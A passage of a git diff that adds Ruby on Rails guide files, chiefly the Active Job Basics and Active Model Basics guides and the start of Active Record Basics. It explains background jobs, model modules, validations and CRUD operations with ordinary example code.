+details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf).
+
+Localized Views
+---------------
+
+Action View has the ability to render different templates depending on the current locale.
+
+For example, suppose you have an `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+
+You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
+
+Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`:
+
+```ruby
+before_action :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+```
+
+Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users.
+
+You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md
new file mode 100644
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--- /dev/null
+++ b/guides/source/active_job_basics.md
@@ -0,0 +1,395 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Job Basics
+=================
+
+This guide provides you with all you need to get started in creating,
+enqueuing and executing background jobs.
+
+After reading this guide, you will know:
+
+* How to create jobs.
+* How to enqueue jobs.
+* How to run jobs in the background.
+* How to send emails from your application asynchronously.
+
+--------------------------------------------------------------------------------
+
+
+Introduction
+------------
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queuing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up
+into small units of work and run in parallel, really.
+
+
+The Purpose of Active Job
+-----------------------------
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place. We can then have framework features and other gems build on top of that,
+without having to worry about API differences between various job runners such as
+Delayed Job and Resque. Picking your queuing backend becomes more of an operational
+concern, then. And you'll be able to switch between them without having to rewrite
+your jobs.
+
+NOTE: Rails by default comes with an asynchronous queuing implementation that
+runs jobs with an in-process thread pool. Jobs will run asynchronously, but any
+jobs in the queue will be dropped upon restart.
+
+
+Creating a Job
+--------------
+
+This section will provide a step-by-step guide to creating a job and enqueuing it.
+
+### Create the Job
+
+Active Job provides a Rails generator to create jobs. The following will create a
+job in `app/jobs` (with an attached test case under `test/jobs`):
+
+```bash
+$ bin/rails generate job guests_cleanup
+invoke  test_unit
+create    test/jobs/guests_cleanup_job_test.rb
+create  app/jobs/guests_cleanup_job.rb
+```
+
+You can also create a job that will run on a specific queue:
+
+```bash
+$ bin/rails generate job guests_cleanup --queue urgent
+```
+
+If you don't want to use a generator, you could create your own file inside of
+`app/jobs`, just make sure that it inherits from `ApplicationJob`.
+
+Here's what a job looks like:
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  def perform(*guests)
+    # Do something later
+  end
+end
+```
+
+Note that you can define `perform` with as many arguments as you want.
+
+### Enqueue the Job
+
+Enqueue a job like so:
+
+```ruby
+# Enqueue a job to be performed as soon as the queuing system is
+# free.
+GuestsCleanupJob.perform_later guest
+```
+
+```ruby
+# Enqueue a job to be performed tomorrow at noon.
+GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)
+```
+
+```ruby
+# Enqueue a job to be performed 1 week from now.
+GuestsCleanupJob.set(wait: 1.week).perform_later(guest)
+```
+
+```ruby
+# `perform_now` and `perform_later` will call `perform` under the hood so
+# you can pass as many arguments as defined in the latter.
+GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')
+```
+
+That's it!
+
+Job Execution
+-------------
+
+For enqueuing and executing jobs in production you need to set up a queuing backend,
+that is to say you need to decide for a 3rd-party queuing library that Rails should use.
+Rails itself only provides an in-process queuing system, which only keeps the jobs in RAM.
+If the process crashes or the machine is reset, then all outstanding jobs are lost with the
+default async backend. This may be fine for smaller apps or non-critical jobs, but most
+production apps will need to pick a persistent backend.
+
+### Backends
+
+Active Job has built-in adapters for multiple queuing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+### Setting the Backend
+
+You can easily set your queuing backend:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # Be sure to have the adapter's gem in your Gemfile
+    # and follow the adapter's specific installation
+    # and deployment instructions.
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+```
+
+You can also configure your backend on a per job basis.
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  self.queue_adapter = :resque
+  #....
+end
+
+# Now your job will use `resque` as it's backend queue adapter overriding what
+# was configured in `config.active_job.queue_adapter`.
+```
+
+### Starting the Backend
+
+Since jobs run in parallel to your Rails application, most queuing libraries
+require that you start a library-specific queuing service (in addition to
+starting your Rails app) for the job processing to work. Refer to library
+documentation for instructions on starting your queue backend.
+
+Here is a noncomprehensive list of documentation:
+
+- [Sidekiq](https://github.com/mperham/sidekiq/wiki/Active-Job)
+- [Resque](https://github.com/resque/resque/wiki/ActiveJob)
+- [Sucker Punch](https://github.com/brandonhilkert/sucker_punch#active-job)
+- [Queue Classic](https://github.com/QueueClassic/queue_classic#active-job)
+
+Queues
+------
+
+Most of the adapters support multiple queues. With Active Job you can schedule
+the job to run on a specific queue:
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+```
+
+You can prefix the queue name for all your jobs using
+`config.active_job.queue_name_prefix` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production_low_priority on your
+# production environment and on staging_low_priority
+# on your staging environment
+```
+
+The default queue name prefix delimiter is '\_'.  This can be changed by setting
+`config.active_job.queue_name_delimiter` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+    config.active_job.queue_name_delimiter = '.'
+  end
+end
+
+# app/jobs/guests_cleanup_job.rb
+class GuestsCleanupJob < ApplicationJob
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production.low_priority on your
+# production environment and on staging.low_priority
+# on your staging environment
+```
+
+If you want more control on what queue a job will be run you can pass a `:queue`
+option to `#set`:
+
+```ruby
+MyJob.set(queue: :another_queue).perform_later(record)
+```
+
+To control the queue from the job level you can pass a block to `#queue_as`. The
+block will be executed in the job context (so you can access `self.arguments`)
+and you must return the queue name:
+
+```ruby
+class ProcessVideoJob < ApplicationJob
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # Do process video
+  end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+```
+
+NOTE: Make sure your queuing backend "listens" on your queue name. For some
+backends you need to specify the queues to listen to.
+
+
+Callbacks
+---------
+
+Active Job provides hooks during the life cycle of a job. Callbacks allow you to
+trigger logic during the life cycle of a job.
+
+### Available callbacks
+
+* `before_enqueue`
+* `around_enqueue`
+* `after_enqueue`
+* `before_perform`
+* `around_perform`
+* `after_perform`
+
+### Usage
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  before_enqueue do |job|
+    # Do something with the job instance
+  end
+
+  around_perform do |job, block|
+    # Do something before perform
+    block.call
+    # Do something after perform
+  end
+
+  def perform
+    # Do something later
+  end
+end
+```
+
+
+Action Mailer
+------------
+
+One of the most common jobs in a modern web application is sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it. Active Job
+is integrated with Action Mailer so you can easily send emails asynchronously:
+
+```ruby
+# If you want to send the email now use #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# If you want to send the email through Active Job use #deliver_later
+UserMailer.welcome(@user).deliver_later
+```
+
+NOTE: Using the asynchronous queue from a Rake task (for example, to
+send an email using `.deliver_later`) will generally not work because Rake will
+likely end, causing the in-process thread pool to be deleted, before any/all
+of the `.deliver_later` emails are processed. To avoid this problem, use
+`.deliver_now` or run a persistent queue in development.
+
+
+Internationalization
+--------------------
+
+Each job uses the `I18n.locale` set when the job was created. Useful if you send
+emails asynchronously:
+
+```ruby
+I18n.locale = :eo
+
+UserMailer.welcome(@user).deliver_later # Email will be localized to Esperanto.
+```
+
+
+GlobalID
+--------
+
+Active Job supports GlobalID for parameters. This makes it possible to pass live
+Active Record objects to your job instead of class/id pairs, which you then have
+to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob < ApplicationJob
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+This works with any class that mixes in `GlobalID::Identification`, which
+by default has been mixed into Active Record classes.
+
+
+Exceptions
+----------
+
+Active Job provides a way to catch exceptions raised during the execution of the
+job:
+
+```ruby
+class GuestsCleanupJob < ApplicationJob
+  queue_as :default
+
+  rescue_from(ActiveRecord::RecordNotFound) do |exception|
+   # Do something with the exception
+  end
+
+  def perform
+    # Do something later
+  end
+end
+```
+
+### Deserialization
+
+GlobalID allows serializing full Active Record objects passed to `#perform`.
+
+If a passed record is deleted after the job is enqueued but before the `#perform`
+method is called Active Job will raise an `ActiveJob::DeserializationError`
+exception.
+
+Job Testing
+--------------
+
+You can find detailed instructions on how to test your jobs in the
+[testing guide](testing.html#testing-jobs).
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
new file mode 100644
index 0000000000..b8f076a27b
--- /dev/null
+++ b/guides/source/active_model_basics.md
@@ -0,0 +1,505 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Model Basics
+===================
+
+This guide should provide you with all you need to get started using model
+classes. Active Model allows for Action Pack helpers to interact with
+plain Ruby objects. Active Model also helps build custom ORMs for use
+outside of the Rails framework.
+
+After reading this guide, you will know:
+
+* How an Active Record model behaves.
+* How Callbacks and validations work.
+* How serializers work.
+* How Active Model integrates with the Rails internationalization (i18n) framework.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Active Model is a library containing various modules used in developing
+classes that need some features present on Active Record.
+Some of these modules are explained below.
+
+### Attribute Methods
+
+The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes
+on methods of a class. It is used by defining the prefixes and suffixes and
+which methods on the object will use them.
+
+```ruby
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_prefix 'reset_'
+  attribute_method_suffix '_highest?'
+  define_attribute_methods 'age'
+
+  attr_accessor :age
+
+  private
+    def reset_attribute(attribute)
+      send("#{attribute}=", 0)
+    end
+
+    def attribute_highest?(attribute)
+      send(attribute) > 100
+    end
+end
+
+person = Person.new
+person.age = 110
+person.age_highest?  # => true
+person.reset_age     # => 0
+person.age_highest?  # => false
+```
+
+### Callbacks
+
+`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an
+ability to define callbacks which run at appropriate times.
+After defining callbacks, you can wrap them with before, after and around
+custom methods.
+
+```ruby
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+
+  def update
+    run_callbacks(:update) do
+      # This method is called when update is called on an object.
+    end
+  end
+
+  def reset_me
+    # This method is called when update is called on an object as a before_update callback is defined.
+  end
+end
+```
+
+### Conversion
+
+If a class defines `persisted?` and `id` methods, then you can include the
+`ActiveModel::Conversion` module in that class, and call the Rails conversion
+methods on objects of that class.
+
+```ruby
+class Person
+  include ActiveModel::Conversion
+
+  def persisted?
+    false
+  end
+
+  def id
+    nil
+  end
+end
+
+person = Person.new
+person.to_model == person  # => true
+person.to_key              # => nil
+person.to_param            # => nil
+```
+
+### Dirty
+
+An object becomes dirty when it has gone through one or more changes to its
+attributes and has not been saved. `ActiveModel::Dirty` gives the ability to
+check whether an object has been changed or not. It also has attribute based
+accessor methods. Let's consider a Person class with attributes `first_name`
+and `last_name`:
+
+```ruby
+class Person
+  include ActiveModel::Dirty
+  define_attribute_methods :first_name, :last_name
+
+  def first_name
+    @first_name
+  end
+
+  def first_name=(value)
+    first_name_will_change!
+    @first_name = value
+  end
+
+  def last_name
+    @last_name
+  end
+
+  def last_name=(value)
+    last_name_will_change!
+    @last_name = value
+  end
+
+  def save
+    # do save work...
+    changes_applied
+  end
+end
+```
+
+#### Querying object directly for its list of all changed attributes.
+
+```ruby
+person = Person.new
+person.changed? # => false
+
+person.first_name = "First Name"
+person.first_name # => "First Name"
+
+# returns true if any of the attributes have unsaved changes.
+person.changed? # => true
+
+# returns a list of attributes that have changed before saving.
+person.changed # => ["first_name"]
+
+# returns a Hash of the attributes that have changed with their original values.
+person.changed_attributes # => {"first_name"=>nil}
+
+# returns a Hash of changes, with the attribute names as the keys, and the
+# values as an array of the old and new values for that field.
+person.changes # => {"first_name"=>[nil, "First Name"]}
+```
+
+#### Attribute based accessor methods
+
+Track whether the particular attribute has been changed or not.
+
+```ruby
+# attr_name_changed?
+person.first_name # => "First Name"
+person.first_name_changed? # => true
+```
+
+Track the previous value of the attribute.
+
+```ruby
+# attr_name_was accessor
+person.first_name_was # => nil
+```
+
+Track both previous and current value of the changed attribute. Returns an array
+if changed, otherwise returns nil.
+
+```ruby
+# attr_name_change
+person.first_name_change # => [nil, "First Name"]
+person.last_name_change # => nil
+```
+
+### Validations
+
+The `ActiveModel::Validations` module adds the ability to validate objects
+like in Active Record.
+
+```ruby
+class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :email, :token
+
+  validates :name, presence: true
+  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
+  validates! :token, presence: true
+end
+
+person = Person.new
+person.token = "2b1f325"
+person.valid?                        # => false
+person.name = 'vishnu'
+person.email = 'me'
+person.valid?                        # => false
+person.email = 'me@vishnuatrai.com'
+person.valid?                        # => true
+person.token = nil
+person.valid?                        # => raises ActiveModel::StrictValidationFailed
+```
+
+### Naming
+
+`ActiveModel::Naming` adds a number of class methods which make naming and routing
+easier to manage. The module defines the `model_name` class method which
+will define a number of accessors using some `ActiveSupport::Inflector` methods.
+
+```ruby
+class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name                # => "Person"
+Person.model_name.singular            # => "person"
+Person.model_name.plural              # => "people"
+Person.model_name.element             # => "person"
+Person.model_name.human               # => "Person"
+Person.model_name.collection          # => "people"
+Person.model_name.param_key           # => "person"
+Person.model_name.i18n_key            # => :person
+Person.model_name.route_key           # => "people"
+Person.model_name.singular_route_key  # => "person"
+```
+
+### Model
+
+`ActiveModel::Model` adds the ability for a class to work with Action Pack and
+Action View right out of the box.
+
+```ruby
+class EmailContact
+  include ActiveModel::Model
+
+  attr_accessor :name, :email, :message
+  validates :name, :email, :message, presence: true
+
+  def deliver
+    if valid?
+      # deliver email
+    end
+  end
+end
+```
+
+When including `ActiveModel::Model` you get some features like:
+
+- model name introspection
+- conversions
+- translations
+- validations
+
+It also gives you the ability to initialize an object with a hash of attributes,
+much like any Active Record object.
+
+```ruby
+email_contact = EmailContact.new(name: 'David',
+                                 email: 'david@example.com',
+                                 message: 'Hello World')
+email_contact.name       # => 'David'
+email_contact.email      # => 'david@example.com'
+email_contact.valid?     # => true
+email_contact.persisted? # => false
+```
+
+Any class that includes `ActiveModel::Model` can be used with `form_for`,
+`render` and any other Action View helper methods, just like Active Record
+objects.
+
+### Serialization
+
+`ActiveModel::Serialization` provides basic serialization for your object.
+You need to declare an attributes Hash which contains the attributes you want to
+serialize. Attributes must be strings, not symbols.
+
+```ruby
+class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+Now you can access a serialized Hash of your object using the `serializable_hash` method.
+
+```ruby
+person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+```
+
+#### ActiveModel::Serializers
+
+Active Model also provides the `ActiveModel::Serializers::JSON` module
+for JSON serializing / deserializing. This module automatically includes the
+previously discussed `ActiveModel::Serialization` module.
+
+##### ActiveModel::Serializers::JSON
+
+To use `ActiveModel::Serializers::JSON` you only need to change the
+module you are including from `ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
+
+```ruby
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+The `as_json` method, similar to `serializable_hash`, provides a Hash representing
+the model.
+
+```ruby
+person = Person.new
+person.as_json # => {"name"=>nil}
+person.name = "Bob"
+person.as_json # => {"name"=>"Bob"}
+```
+
+You can also define the attributes for a model from a JSON string.
+However, you need to define the `attributes=` method on your class:
+
+```ruby
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+Now it is possible to create an instance of `Person` and set attributes using `from_json`.
+
+```ruby
+json = { name: 'Bob' }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name            # => "Bob"
+```
+
+### Translation
+
+`ActiveModel::Translation` provides integration between your object and the Rails
+internationalization (i18n) framework.
+
+```ruby
+class Person
+  extend ActiveModel::Translation
+end
+```
+
+With the `human_attribute_name` method, you can transform attribute names into a
+more human-readable format. The human-readable format is defined in your locale file(s).
+
+* config/locales/app.pt-BR.yml
+
+  ```yml
+  pt-BR:
+    activemodel:
+      attributes:
+        person:
+          name: 'Nome'
+  ```
+
+```ruby
+Person.human_attribute_name('name') # => "Nome"
+```
+
+### Lint Tests
+
+`ActiveModel::Lint::Tests` allows you to test whether an object is compliant with
+the Active Model API.
+
+* `app/models/person.rb`
+
+    ```ruby
+    class Person
+      include ActiveModel::Model
+    end
+    ```
+
+* `test/models/person_test.rb`
+
+    ```ruby
+    require 'test_helper'
+
+    class PersonTest < ActiveSupport::TestCase
+      include ActiveModel::Lint::Tests
+
+      setup do
+        @model = Person.new
+      end
+    end
+    ```
+
+```bash
+$ rails test
+
+Run options: --seed 14596
+
+# Running:
+
+......
+
+Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
+
+6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
+```
+
+An object is not required to implement all APIs in order to work with
+Action Pack. This module only intends to provide guidance in case you want all
+features out of the box.
+
+### SecurePassword
+
+`ActiveModel::SecurePassword` provides a way to securely store any
+password in an encrypted form. When you include this module, a
+`has_secure_password` class method is provided which defines
+a `password` accessor with certain validations on it.
+
+#### Requirements
+
+`ActiveModel::SecurePassword` depends on [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'),
+so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly.
+In order to make this work, the model must have an accessor named `password_digest`.
+The `has_secure_password` will add the following validations on the `password` accessor:
+
+1. Password should be present.
+2. Password should be equal to its confirmation (provided `password_confirmation` is passed along).
+3. The maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends)
+
+#### Examples
+
+```ruby
+class Person
+  include ActiveModel::SecurePassword
+  has_secure_password
+  attr_accessor :password_digest
+end
+
+person = Person.new
+
+# When password is blank.
+person.valid? # => false
+
+# When the confirmation doesn't match the password.
+person.password = 'aditya'
+person.password_confirmation = 'nomatch'
+person.valid? # => false
+
+# When the length of password exceeds 72.
+person.password = person.password_confirmation = 'a' * 100
+person.valid? # => false
+
+# When only password is supplied with no password_confirmation.
+person.password = 'aditya'
+person.valid? # => true
+
+# When all validations are passed.
+person.password = person.password_confirmation = 'aditya'
+person.valid? # => true
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
new file mode 100644
index 0000000000..2ac80d8f89
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+++ b/guides/source/active_record_basics.md
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+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Record Basics
+====================
+
+This guide is an introduction to Active Record.
+
+After reading this guide, you will know:
+
+* What Object Relational Mapping and Active Record are and how they are used in
+  Rails.
+* How Active Record fits into the Model-View-Controller paradigm.
+* How to use Active Record models to manipulate data stored in a relational
+  database.
+* Active Record schema naming conventions.
+* The concepts of database migrations, validations and callbacks.
+
+--------------------------------------------------------------------------------
+
+What is Active Record?
+----------------------
+
+Active Record is the M in [MVC](http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) - the
+model - which is the layer of the system responsible for representing business
+data and logic. Active Record facilitates the creation and use of business
+objects whose data requires persistent storage to a database. It is an
+implementation of the Active Record pattern which itself is a description of an
+Object Relational Mapping system.
+
+### The Active Record Pattern
+
+[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html)
+in his book _Patterns of Enterprise Application Architecture_. In
+Active Record, objects carry both persistent data and behavior which
+operates on that data. Active Record takes the opinion that ensuring
+data access logic as part of the object will educate users of that
+object on how to write to and read from the database.
+
+### Object Relational Mapping
+
+Object Relational Mapping, commonly referred to as its abbreviation ORM, is
+a technique that connects the rich objects of an application to tables in
+a relational database management system. Using ORM, the properties and
+relationships of the objects in an application can be easily stored and
+retrieved from a database without writing SQL statements directly and with less
+overall database access code.
+
+### Active Record as an ORM Framework
+
+Active Record gives us several mechanisms, the most important being the ability
+to:
+
+* Represent models and their data.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get persisted to the database.
+* Perform database operations in an object-oriented fashion.
+
+Convention over Configuration in Active Record
+----------------------------------------------
+
+When writing applications using other programming languages or frameworks, it
+may be necessary to write a lot of configuration code. This is particularly true
+for ORM frameworks in general. However, if you follow the conventions adopted by
+Rails, you'll need to write very little configuration (in some cases no
+configuration at all) when creating Active Record models. The idea is that if
+you configure your applications in the very same way most of the time then this
+should be the default way. Thus, explicit configuration would be needed
+only in those cases where you can't follow the standard convention.
+
+### Naming Conventions
+
+By default, Active Record uses some naming conventions to find out how the
+mapping between models and database tables should be created. Rails will
+pluralize your class names to find the respective database table. So, for
+a class `Book`, you should have a database table called **books**. The Rails
+pluralization mechanisms are very powerful, being capable of pluralizing (and
+singularizing) both regular and irregular words. When using class names composed
+of two or more words, the model class name should follow the Ruby conventions,
+using the CamelCase form, while the table name must contain the words separated
+by underscores. Examples:
+
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
+* Model Class - Singular with the first letter of each word capitalized (e.g.,
+`BookClub`).
+
+| Model / Class    | Table / Schema |
+| ---------------- | -------------- |
+| `Article`        | `articles`     |
+| `LineItem`       | `line_items`   |
+| `Deer`           | `deers`        |
+| `Mouse`          | `mice`         |
+| `Person`         | `people`       |
+
+
+### Schema Conventions
+
+Active Record uses naming conventions for the columns in database tables,
+depending on the purpose of these columns.
+
+* **Foreign keys** - These fields should be named following the pattern
+  `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the
+  fields that Active Record will look for when you create associations between
+  your models.
+* **Primary keys** - By default, Active Record will use an integer column named
+  `id` as the table's primary key. When using [Active Record
+  Migrations](active_record_migrations.html) to create your tables, this column will be
+  automatically created.
+
+There are also some optional column names that will add additional features
+to Active Record instances:
+
+* `created_at` - Automatically gets set to the current date and time when the
+  record is first created.
+* `updated_at` - Automatically gets set to the current date and time whenever
+  the record is updated.
+* `lock_version` - Adds [optimistic
+  locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
+  a model.
+* `type` - Specifies that the model uses [Single Table
+  Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
+* `(association_name)_type` - Stores the type for
+  [polymorphic associations](association_basics.html#polymorphic-associations).
+* `(table_name)_count` - Used to cache the number of belonging objects on
+  associations. For example, a `comments_count` column in an `Article` class that
+  has many instances of `Comment` will cache the number of existent comments
+  for each article.
+
+NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+Creating Active Record Models
+-----------------------------
+
+It is very easy to create Active Record models. All you have to do is to
+subclass the `ApplicationRecord` class and you're good to go:
+
+```ruby
+class Product < ApplicationRecord
+end
+```
+
+This will create a `Product` model, mapped to a `products` table at the
+database. By doing this you'll also have the ability to map the columns of each
+row in that table with the attributes of the instances of your model. Suppose
+that the `products` table was created using an SQL statement like:
+
+```sql
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+```
+
+Following the table schema above, you would be able to write code like the
+following:
+
+```ruby
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+```
+
+Overriding the Naming Conventions
+---------------------------------
+
+What if you need to follow a different naming convention or need to use your
+Rails application with a legacy database? No problem, you can easily override
+the default conventions.
+
+`ApplicationRecord` inherits from `ActiveRecord::Base`, which defines a
+number of helpful methods. You can use the `ActiveRecord::Base.table_name=`
+method to specify the table name that should be used:
+
+```ruby
+class Product < ApplicationRecord
+  self.table_name = "my_products"
+end
+```
+
+If you do so, you will have to define manually the class name that is hosting
+the fixtures (my_products.yml) using the `set_fixture_class` method in your test
+definition:
+
+```ruby
+class ProductTest < ActiveSupport::TestCase
+  set_fixture_class my_products: Product
+  fixtures :my_products
+  ...
+end
+```
+
+It's also possible to override the column that should be used as the table's
+primary key using the `ActiveRecord::Base.primary_key=` method:
+
+```ruby
+class Product < ApplicationRecord
+  self.primary_key = "product_id"
+end
+```
+
+CRUD: Reading and Writing Data
+------------------------------
+
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
+**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
+to allow an application to read and manipulate data stored within its tables.
+
+### Create
+
+Active Record objects can be created from a hash, a block or have their
+attributes manually set after creation. The `new` method will return a new
+object while `create` will return the object and save it to the database.
+
+For example, given a model `User` with attributes of `name` and `occupation`,
+the `create` method call will create and save a new record into the database:
+
+```ruby
+user = User.create(name: "David", occupation: "Code Artist")
+```
+
+Using the `new` method, an object can be instantiated without being saved:
+
+```ruby
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+```
+
+A call to `user.save` will commit the record to the database.
+
+Finally, if a block is provided, both `create` and `new` will yield the new
+object to that block for initialization:
+
+```ruby
+user = User.new do |u|
+  u.name = "David"
+  u.occupation = "Code Artist"
+end
+```
+
+### Read
+
+Active Record provides a rich API for accessing data within a database. Below
+are a few examples of different data access methods provided by Active Record.
+
+```ruby
+# return a collection with all users
+users = User.all
+```
+
+```ruby
+# return the first user
+user = User.first
+```
+
+```ruby
+# return the first user named David
+david = User.find_by(name: 'David')
+```
+
+```ruby
+# find all users named David who are Code Artists and sort by created_at in reverse chronological order
+users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)
+```
+
+You can learn more about querying an Active Record model in the [Active Record
+Query Interface](active_record_querying.html) guide.
+
+### Update
+
+Once an Active Record object has been retrieved, its attributes can be modified
+and it can be saved to the database.
+
+```ruby
+user = User.find_by(name: 'David')
+user.name = 'Dave'
+user.save
+```
+
+A shorthand for this is to use a hash mapping attribute names to the desired
+value, like so:
+
+```ruby
+user = User.find_by(name: 'David')
+user.update(name: 'Dave')
+```
+
+This is most useful when updating several attributes at once. If, on the other
+hand, you'd like to update several records in bulk, you may find the
+`update_all` class method useful:
+
+```ruby
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+```
+
+### Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes
+it from the database.
+
+```ruby
+user = User.find_by(name: 'David')
+user.destroy
+```
+
+Validations
+-----------
+
+Active Record allows you to validate the state of a model before it gets written
+into the database. There are several methods that you can use to check your
+models and validate that an attribute value is not empty, is unique and not
+already in the database, follows a specific format and many more.
+
+Validation is a very important issue to consider when persisting to the database, so
+the methods `save` and `update` take it into account when
+running: they return `false` when validation fails and they don't actually
+perform any operations on the database. All of these have a bang counterpart (that
+is, `save!` and `update!`), which are stricter in that
+they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
+A quick example to illustrate:
+
+```ruby
+class User < ApplicationRecord
+  validates :name, presence: true
+end
+
+user = User.new
+user.save  # => false
+user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+You can learn more about validations in the [Active Record Validations
+guide](active_record_validations.html).
+
+Callbacks
+---------
+
+Active Record callbacks allow you to attach code to certain events in the
+life-cycle of your models. This enables you to add behavior to your models by
+transparently executing code when those events occur, like when you create a new
+record, update it, destroy it and so on. You can learn more about callbacks in
+the [Active Record Callbacks guide](active_record_callbacks.html).
+
+Migrations
+----------
+
+Rails provides a domain-specific language for managing a database schema called
+migrations. Migrations are stored in files which are executed against any
+database that Active Record supports using `rake`. Here's a migration that
+creates a table:
+
+```ruby
+class CreatePublications < ActiveRecord::Migration[5.0]
+  def change
+    create_table :publications do |t|
+      t.string :title
+      t.text :description
+      t.references :publication_type
+      t.integer :publisher_id
+      t.string :publisher_type
+      t.boolean :single_issue
+
+      t.timestamps
+    end
+    add_index :publications, :publication_type_id
+  end
+end
+```
+
+Rails keeps track of which files have been committed to the database and
